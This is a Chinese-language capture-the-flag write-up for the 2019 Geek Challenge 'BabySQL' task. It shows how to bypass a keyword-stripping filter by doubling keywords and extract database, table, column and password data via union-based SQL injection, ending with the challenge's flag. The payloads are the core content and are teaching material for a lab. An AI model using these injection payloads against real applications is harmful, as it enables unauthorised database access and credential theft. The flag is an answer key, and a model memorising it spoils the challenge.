[极客大挑战 2019]BabySQL-1|SQL注入

1、打开题目之后,查看源代码信息,发现check.php文件,结果如下:

2、那就只能尝试登录,经测试当输入or、by、select、from、and、where等关键字时会被过滤且会被过滤为空(过滤为空就可以通过双写绕过),返回信息为check.php页面,结果如下:

3、那就尝试一下双写绕过,确定一下是否存在注入点,通过payload:’oorr 1=1#,以下测试的所有密码随便输入,只写了name的payload,最终成功登录到界面中确定了注入点的存在,结果如下:

4、确定存在注入点之后那就判断返回的数据量,payload:’oorrder bbyy 4#,根据返回信息的不同最终确定返回列数为3,结果如下:

5、确定列数后就需要确定返回的信息中哪些信息可以被显示出来,payload:’ununionion selselectect 1,2,3#,显示信息为2和3,结果如下:

6、确定回显信息的位置后,就获取数据库信息,payload:’ununionion selselectect 1,database(),version()#,成功获取到数据库geek,结果如下:

7、获取到数据库信息后就开启获取数据库内的表明信息,payload:’ununionion seselectlect 1,(seselectlect group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema=’geek’),3#,成功获取到表明:b4bsql,geekuser,结果如下:

8、获取到表民后就获取列明信息,payload:’ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name=’b4bsql’),3#,获得列明信息为:id,username,password,结果如下:

9、获取列明信息后那就直接读取password的值,注意下password包含or,会被过滤,需要双写以下,payload:’ununionion seselectlect 1,(seselectlect passwoorrd frfromom b4bsql whwhereere (passwoorrd)regexp(‘^f’)),3#,获得flag值为:flag{c3b8285f-3bfc-4fc9-88cb-b235465c7cbf},regexp正则表达式匹配flag值,也可以通过limit、group_concat等函数获取flag,结果如下: